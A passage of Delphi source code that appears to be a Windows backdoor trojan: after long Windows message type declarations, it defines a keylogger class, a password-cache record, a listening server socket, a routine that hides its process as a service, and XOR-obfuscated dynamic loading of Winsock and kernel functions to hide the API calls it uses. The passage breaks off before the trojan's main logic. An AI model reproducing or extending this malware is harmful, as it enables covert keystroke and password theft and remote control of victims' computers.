    Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU }
    IdleWnd: HWND;
    Result: Longint;
  end;

  TWMEnterMenuLoop = record
    Msg: Cardinal;
    IsTrackPopupMenu: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMExitMenuLoop = TWMEnterMenuLoop;

  TWMEraseBkgnd = record
    Msg: Cardinal;
    DC: HDC;
    Unused: Longint;
    Result: Longint;
  end;

  TWMFontChange = TWMNoParams;
  TWMGetDlgCode = TWMNoParams;
  TWMGetFont = TWMNoParams;

  TWMGetIcon = record
    Msg: Cardinal;
    BigIcon: Longbool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMGetText = record
    Msg: Cardinal;
    TextMax: Integer;
    Text: PChar;
    Result: Longint;
  end;

  TWMGetTextLength = TWMNoParams;

{  TWMHotKey = record
    Msg: Cardinal;
    HotKey: Longint;
    Unused: Longint;
    Result: Longint;
  end; }

  TWMHScroll = TWMScroll;

  TWMHScrollClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP,
                       SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION,
                       SB_THUMBTRACK, SB_TOP }
    Pos: Word;
    Result: Longint;
  end;

  TWMIconEraseBkgnd = TWMEraseBkgnd;

  TWMInitDialog = record
    Msg: Cardinal;
    Focus: HWND;
    InitParam: Longint;
    Result: Longint;
  end;

  TWMInitMenu = record
    Msg: Cardinal;
    Menu: HMENU;
    Unused: Longint;
    Result: Longint;
  end;

  TWMInitMenuPopup = record
    Msg: Cardinal;
    MenuPopup: HMENU;
    Pos: Smallint;
    SystemMenu: WordBool;
    Result: Longint;
  end;

  TWMKeyDown = TWMKey;
  TWMKeyUp = TWMKey;

  TWMKillFocus = record
    Msg: Cardinal;
    FocusedWnd: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMLButtonDblClk = TWMMouse;
  TWMLButtonDown   = TWMMouse;
  TWMLButtonUp     = TWMMouse;
  TWMMButtonDblClk = TWMMouse;
  TWMMButtonDown   = TWMMouse;
  TWMMButtonUp     = TWMMouse;

  TWMMDIActivate = record
    Msg: Cardinal;
    case Integer of
      0: (
        ChildWnd: HWND);
      1: (
        DeactiveWnd: HWND;
        ActiveWnd: HWND;
        Result: Longint);
  end;

  TWMMDICascade = record
    Msg: Cardinal;
    Cascade: Longint; { 0, MDITILE_SKIPDISABLED }
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDICreate = record
    Msg: Cardinal;
    Unused: Integer;
    MDICreateStruct: PMDICreateStruct;
    Result: Longint;
  end;

  TWMMDIDestroy = record
    Msg: Cardinal;
    Child: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDIGetActive = TWMNoParams;
  TWMMDIIconArrange = TWMNoParams;

  TWMMDIMaximize = record
    Msg: Cardinal;
    Maximize: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDINext = record
    Msg: Cardinal;
    Child: HWND;
    Next: Longint;
    Result: Longint;
  end;

  TWMMDIRefreshMenu = TWMNoParams;

  TWMMDIRestore = record
    Msg: Cardinal;
    IDChild: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDISetMenu = record
    Msg: Cardinal;
    MenuFrame: HMENU;
    MenuWindow: HMENU;
    Result: Longint;
  end;

  TWMMDITile = record
    Msg: Cardinal;
    Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE,
                     MDITILE_VERTICAL }
    Unused: Longint;
    Result: Longint;
  end;

  TWMMenuChar = record
    Msg: Cardinal;
    User: Char;
    Unused: Byte;
    MenuFlag: Word; { MF_POPUP, MF_SYSMENU }
    Menu: HMENU;
    Result: Longint;
  end;

  TWMMenuSelect = record
    Msg: Cardinal;
    IDItem: Word;
    MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED,
                      MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR,
                      MF_SYSMENU }
    Menu: HMENU;
    Result: Longint;
  end;

  TWMMouseActivate = record
    Msg: Cardinal;
    TopLevel: HWND;
    HitTestCode: Word;
    MouseMsg: Word;
    Result: Longint;
  end;

  TWMMouseMove = TWMMouse;

  TWMMove = record
    Msg: Cardinal;
    Unused: Integer;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMNCActivate = record
    Msg: Cardinal;
    Active: BOOL;
    Unused: Longint;
    Result: Longint;
  end;

  TWMNCCalcSize = record
    Msg: Cardinal;
    CalcValidRects: BOOL;
    CalcSize_Params: PNCCalcSizeParams;
    Result: Longint;
  end;

  TWMNCCreate = record
    Msg: Cardinal;
    Unused: Integer;
    CreateStruct: PCreateStruct;
    Result: Longint;
  end;

  TWMNCDestroy = TWMNoParams;

  TWMNCHitTest = record
    Msg: Cardinal;
    Unused: Longint;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMNCHitMessage = record
    Msg: Cardinal;
    HitTest: Longint;
    XCursor: Smallint;
    YCursor: Smallint;
    Result: Longint;
  end;

  TWMNCLButtonDblClk = TWMNCHitMessage;
  TWMNCLButtonDown   = TWMNCHitMessage;
  TWMNCLButtonUp     = TWMNCHitMessage;
  TWMNCMButtonDblClk = TWMNCHitMessage;
  TWMNCMButtonDown   = TWMNCHitMessage;
  TWMNCMButtonUp     = TWMNCHitMessage;
  TWMNCMouseMove     = TWMNCHitMessage;

  TWMNCPaint = TWMNoParams;

  TWMNCRButtonDblClk = TWMNCHitMessage;
  TWMNCRButtonDown   = TWMNCHitMessage;
  TWMNCRButtonUp     = TWMNCHitMessage;

  TWMNextDlgCtl = record
    Msg: Cardinal;
    CtlFocus: Longint;
    Handle: WordBool;
    Unused: Word;
    Result: Longint;
  end;

  TWMNotify = record
    Msg: Cardinal;
    IDCtrl: Longint;
    NMHdr: PNMHdr;
    Result: Longint;
  end;

  TWMNotifyFormat = record
    Msg: Cardinal;
    From: HWND;
    Command: Longint;
    Result: Longint;
  end;

  TWMPaint = record
    Msg: Cardinal;
    DC: HDC;
    Unused: Longint;
    Result: Longint;
  end;

  TWMPaintClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    PaintStruct: THandle;
    Result: Longint;
  end;

  TWMPaintIcon = TWMNoParams;

  TWMPaletteChanged = record
    Msg: Cardinal;
    PalChg: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMPaletteIsChanging = record
    Msg: Cardinal;
    Realize: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMParentNotify = record
    Msg: Cardinal;
    case Event: Word of
      WM_CREATE, WM_DESTROY: (
        ChildID: Word;
        ChildWnd: HWnd);
      WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: (
        Value: Word;
        XPos: Smallint;
        YPos: Smallint);
      0: (
        Value1: Word;
        Value2: Longint;
        Result: Longint);
  end;

  TWMPaste = TWMNoParams;

  TWMPower = record
    Msg: Cardinal;
    PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME,
                         PWR_CRITICALRESUME }
    Unused: Longint;
    Result: Longint;
  end;

  TWMQueryDragIcon = TWMNoParams;

  TWMQueryEndSession = record
    Msg: Cardinal;
    Source: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMQueryNewPalette = TWMNoParams;
  TWMQueryOpen = TWMNoParams;
  TWMQueueSync = TWMNoParams;

  TWMQuit = record
    Msg: Cardinal;
    ExitCode: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMRButtonDblClk = TWMMouse;
  TWMRButtonDown = TWMMouse;
  TWMRButtonUp = TWMMouse;

  TWMRenderAllFormats = TWMNoParams;

  TWMRenderFormat = record
    Msg: Cardinal;
    Format: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetCursor = record
    Msg: Cardinal;
    CursorWnd: HWND;
    HitTest: Word;
    MouseMsg: Word;
    Result: Longint;
  end;

  TWMSetFocus = record
    Msg: Cardinal;
    FocusedWnd: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetFont = record
    Msg: Cardinal;
    Font: HFONT;
    Redraw: WordBool;
    Unused: Word;
    Result: Longint;
  end;

  TWMSetIcon = record
    Msg: Cardinal;
    BigIcon: Longbool;
    Icon: HICON;
    Result: Longint;
  end;

  TWMSetRedraw = record
    Msg: Cardinal;
    Redraw: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetText = record
    Msg: Cardinal;
    Unused: Longint;
    Text: PChar;
    Result: Longint;
  end;

  TWMShowWindow = record
    Msg: Cardinal;
    Show: BOOL;
    Status: Longint;
    Result: Longint;
  end;

  TWMSize = record
    Msg: Cardinal;
    SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED,
                         SIZE_MAXHIDE, SIZE_MAXSHOW }
    Width: Word;
    Height: Word;
    Result: Longint;
  end;

  TWMSizeClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    RC: THandle;
    Result: Longint;
  end;

  TWMSpoolerStatus = record
    Msg: Cardinal;
    JobStatus: Longint;
    JobsLeft: Word;
    Unused: Word;
    Result: Longint;
  end;

  TWMStyleChange = record
    Msg: Cardinal;
    StyleType: Longint;
    StyleStruct: PStyleStruct;
    Result: Longint;
  end;

  TWMStyleChanged = TWMStyleChange;
  TWMStyleChanging = TWMStyleChange;

  TWMSysChar = TWMKey;
  TWMSysColorChange = TWMNoParams;

  TWMSysDeadChar = record
    Msg: Cardinal;
    CharCode: Word;
    Unused: Word;
    KeyData: Longint;
    Result: Longint;
  end;

  TWMSysKeyDown = TWMKey;
  TWMSysKeyUp = TWMKey;

  TWMSystemError = record
    Msg: Cardinal;
    ErrSpec: Word;
    Unused: Longint;
    Result: Longint;
  end;

  TWMTimeChange = TWMNoParams;

  TWMTimer = record
    Msg: Cardinal;
    TimerID: Longint;
    TimerProc: TFarProc;
    Result: Longint;
  end;

  TWMUndo = TWMNoParams;

  TWMVKeyToItem = TWMCharToItem;

  TWMVScroll = TWMScroll;

  TWMVScrollClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    ScollCode: Word;
    ThumbPos: Word;
    Result: Longint;
  end;

  TWMWindowPosChanged = TWMWindowPosMsg;
  TWMWindowPosChanging = TWMWindowPosMsg;

  TWMWinIniChange = record
    Msg: Cardinal;
    Unused: Integer;
    Section: PChar;
    Result: Longint;
  end;

  TWMHelp = record
    Msg: Cardinal;
    Unused: Integer;
    HelpInfo: PHelpInfo;
    Result: Longint;
  end;

  TWMDisplayChange = record
    Msg: Cardinal;
    BitsPerPixel: Integer;
    Width: Word;
    Height: Word;
  end;

// sysutils type
type
  WordRec = packed record
    Lo, Hi: Byte;
  end;

  LongRec = packed record
    Lo, Hi: Word;
  end;

  TMethod = record
    Code, Data: Pointer;
  end;

  PByteArray = ^TByteArray;
  TByteArray = array[0..32767] of Byte;

  PWordArray = ^TWordArray;
  TWordArray = array[0..16383] of Word;

  TProcedure = procedure;

  TFileName = string;

  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;
  TFileRec = record
    Handle: Integer;
    Mode: Integer;
    RecSize: Cardinal;
    Private: array[1..28] of Byte;
    UserData: array[1..32] of Byte;
    Name: array[0..259] of Char;
  end;

  PTextBuf = ^TTextBuf;
  TTextBuf = array[0..127] of Char;
  TTextRec = record
    Handle: Integer;
    Mode: Integer;
    BufSize: Cardinal;
    BufPos: Cardinal;
    BufEnd: Cardinal;
    BufPtr: PChar;
    OpenFunc: Pointer;
    InOutFunc: Pointer;
    FlushFunc: Pointer;
    CloseFunc: Pointer;
    UserData: array[1..32] of Byte;
    Name: array[0..259] of Char;
    Buffer: TTextBuf;
  end;

  TFloatValue = (fvExtended, fvCurrency);

  TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency);

  TFloatRec = packed record
    Exponent: Smallint;
    Negative: Boolean;
    Digits: array[0..20] of Char;
  end;

  TTimeStamp = record
    Time: Integer;      { Number of milliseconds since midnight }
    Date: Integer;      { One plus number of days since 1/1/0001 }
  end;

  TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);

  TSysLocale = packed record
    DefaultLCID: LCID;
    PriLangID: LANGID;
    SubLangID: LANGID;
    FarEast: Boolean;
  end;


// password connection
type
  TPasswordCacheEntry = packed record
   cbEntry    : word;   // size of this entry, in bytes
   cbResource : word;   // size of resource name, in bytes
   cbPassword : word;   // size of password, in bytes
   iEntry     : byte;   // entry index
   nType      : byte;   // type of entry
  abResource : array [0..$FFFFFFF] of char;
  end;
  TPPasswordCacheEntry = ^TPasswordCacheEntry;

// registry type
type
  TRegKeyInfo = record
    NumSubKeys: Integer;
    MaxSubKeyLen: Integer;
    NumValues: Integer;
    MaxValueLen: Integer;
    MaxDataLen: Integer;
    FileTime: TFileTime;
  end;

  TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);

  TRegDataInfo = record
    RegData: TRegDataType;
    DataSize: Integer;
  end;

 TRegistry = class(TObject)
 private
  FCurrentKey: HKEY;
  FRootKey: HKEY;
  FLazyWrite: Boolean;
  FCurrentPath: string;
  FCloseRootKey: Boolean;
 procedure SetRootKey(Value: HKEY);
 function OpenKey(const Key: string; CanCreate: Boolean): Boolean;
protected
 function GetBaseKey(Relative: Boolean): HKey;
 procedure ChangeKey(Value: HKey; const Path: string);
 procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType);
 function GetData(const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;

public
 constructor Create;
 destructor Destroy; override;
 procedure WriteString(const Name, Value: string);
 function ReadString(const Name: string): string;
 procedure CloseKey;
 function GetDataSize(const ValueName: string): Integer;
 function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;

 property CurrentKey : HKEY read FCurrentKey;
 property RootKey: HKEY read FRootKey write SetRootKey;
 property CurrentPath: string read FCurrentPath;
 property LazyWrite: Boolean read FLazyWrite write FLazyWrite;
end;

 TSock = class(TObject)
  procedure WriteString(wParam:word;Buff:PChar);
  function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt;
  procedure OnServerAccept(wParam,lParam:longInt);
  procedure OnServerClose(wParam,lParam:longInt);
  procedure OnServerRead(wParam,lParam:longInt);
 private
 public
 end;

//Key_logger_object
Type
  TLog = class(TObject)
    procedure LogCreate;
    procedure LogDestroy;
  private
    procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT;
  public
  end;

//============== all var
var
  //sysutils var
  SysLocale: TSysLocale;
  LeadBytes: set of Char = [];

  Win32Platform: Integer;

  //MainVariables
  wClass:      TWndClass;         // Class struct for main window
  hInst,                          // Handle of program instance
  Handle:      Integer;           // Handle of main window
  Msg2:        TMSG;              // Message struct
  //Msg:         TMSG;

  //Socket
  Server:      TSocket;
  WSD:         TWSAData;
  Addr:        TSockAddrIn;       // Address for connect.
  Port:        Integer;
  //ReadBuff:    TBuffer;
  yyyy,mm,dd,h,m,ss,CountRB: Word;
  result,nukemsg,nukemsg2,opt,opt2,s,driv: string;
  d:integer;
  // si,i:integer; //udp
  j:byte;
  z:longint; //ip

  //Registry
  Registre: TRegistry;

  //other
  klasse: array [0..255] of char;
  Timeout: integer;
  t:textfile;
//  classe: array [0..255] of char;
//  counter :integer;

  //thread
  Sock:TSock;
  KLog: Tlog;

  h_SOCK_DLL           :HModule;

  ThreadHdle :THandle;
  ThreadID   :Integer;
  ExitCode   :Integer;

  ThreadHdle2 :THandle;
  ThreadID2   :Integer;
  ExitCode2   :Integer;

  ThreadHdle3:THandle;
  ThreadID3  :Integer;
  ExitCode3  :Integer;

      iii:byte;
    sss,sss2:string;
    ccc:char;



//===Dir
function systemdir:string;
var d:integer;
begin
 setlength(result,500);
 d:=getsystemdirectory(pchar(result),500);
 setlength(result,d);
end;

function windowsdir:string;
var d:integer;
begin
 setlength(result,500);
 d:=getwindowsdirectory(pchar(result),500);
 setlength(result,d);
end;

Function Crypt(S : String) : String;
  Var
    i : Byte;
  begin
    For i := 1 to Length(S) Do
      S[i] := Char(ord(S[i]) xor i);
    Crypt := S;
  end;
//==executeAPI
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA';
//function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
function RegisterInService:boolean;
type
  TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean;  StdCall;
var
  h_KERNEL_DLL           :HModule;
  RegisterServiceProcess :TRegisterServiceProcess;
begin
  Result := False;
  h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); 
  if h_KERNEL_DLL <> Null then
    begin
      RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess

      if @RegisterServiceProcess <> Nil then
        Result := RegisterServiceProcess(GetCurrentProcessID, True);
      FreeLibrary(h_KERNEL_DLL);
    end;
end;

//=== winsock function
//function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept';
function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
Type
  TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('accept'));
      if @LListen <> Nil then
        Result := LListen(s, addr,addrlen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind';
function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('bind'));
      if @LListen <> Nil then
        Result := LListen(s, addr,namelen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket';
function closesocket(s: TSocket): Integer; stdcall;
Type
  TListen = function(s: TSocket): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket'));
      if @LListen <> Nil then
        Result := LListen(s);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect';
function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('connect'));
      if @LListen <> Nil then
        Result := LListen(s,name,namelen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername';
function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname';
function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt';
//function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl';
function htonl(hostlong: u_long): u_long; stdcall;
Type
  TListen = function(hostlong: u_long): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl'));
      if @LListen <> Nil then
        Result := LListen(hostlong);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons';
function htons(hostshort: u_short): u_short; stdcall;
Type
  TListen = function(hostshort: u_short): u_short; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('htons'));
      if @LListen <> Nil then
        Result := LListen(hostshort);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;}  { TInAddr }
function inet_addr(cp: PChar): u_long; stdcall;
Type
  TListen = function(cp: PChar): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr'));
      if @LListen <> Nil then
        Result := LListen(cp);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa';
function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket';
//function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen';
function listen(s: TSocket; backlog: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; backlog: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('listen'));
      if @LListen <> Nil then
        Result := LListen(s, backlog);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl';
function ntohl(netlong: u_long): u_long; stdcall;
Type
  TListen = function(netlong: u_long): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl'));
      if @LListen <> Nil then
        Result := LListen(netlong);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs';
//function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv';
function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('recv'));
      if @LListen <> Nil then
        Result := LListen(s,buf,len,flags);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function recvfrom(s: TSocket; var Buf; len, flags: Integer;
  var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom';
function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet;
  timeout: PTimeVal): Longint; stdcall; external winsocket name 'select';
//function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send';
function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('send'));
      if @LListen <> Nil then
        Result := LListen(s,buf,len,flags);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
  tolen: Integer): Integer; stdcall; external winsocket name 'sendto';
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
  optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt';
function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown';
//function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket';
function socket(af, struct, protocol: Integer): TSocket; stdcall;
Type
  TListen = function(af, struct, protocol: Integer): TSocket; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('socket'));
      if @LListen <> Nil then
        Result := LListen(af,struct,protocol);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr';
//function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname';
function gethostbyname(name: PChar): PHostEnt; stdcall;
Type
  TListen = function(name: PChar): PHostEnt; stdcall;
var
  LListen :TListen;
begin
  Result := nil;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname'));
      if @LListen <> Nil then
        Result := LListen(name);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname';
function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber';
function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname';
function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport';
//function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname';
function gethostname(name: PChar; len: Integer): Integer; stdcall;
Type
  TListen = function(name: PChar; len: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname'));
      if @LListen <> Nil then
        Result := LListen(name,len);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect';
function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall;
Type
  TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect'));
      if @LListen <> Nil then
        Result := LListen(s,HWindow,wMsg,lEvent);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx';
function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar;
  len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr';
function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int;
  name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName';
function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer;
  buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber';
function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int;
  name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName';
function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int;
  proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort';
function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int;
  name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName';
function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest';
function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook';
function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook';
//function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError';
function WSAGetLastError: Integer; stdcall;
type
  TListen = function: Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError'));
      if @LListen <> Nil then
        Result := LListen;
      FreeLibrary(h_SOCK_DLL);
    end;
end;
procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError';
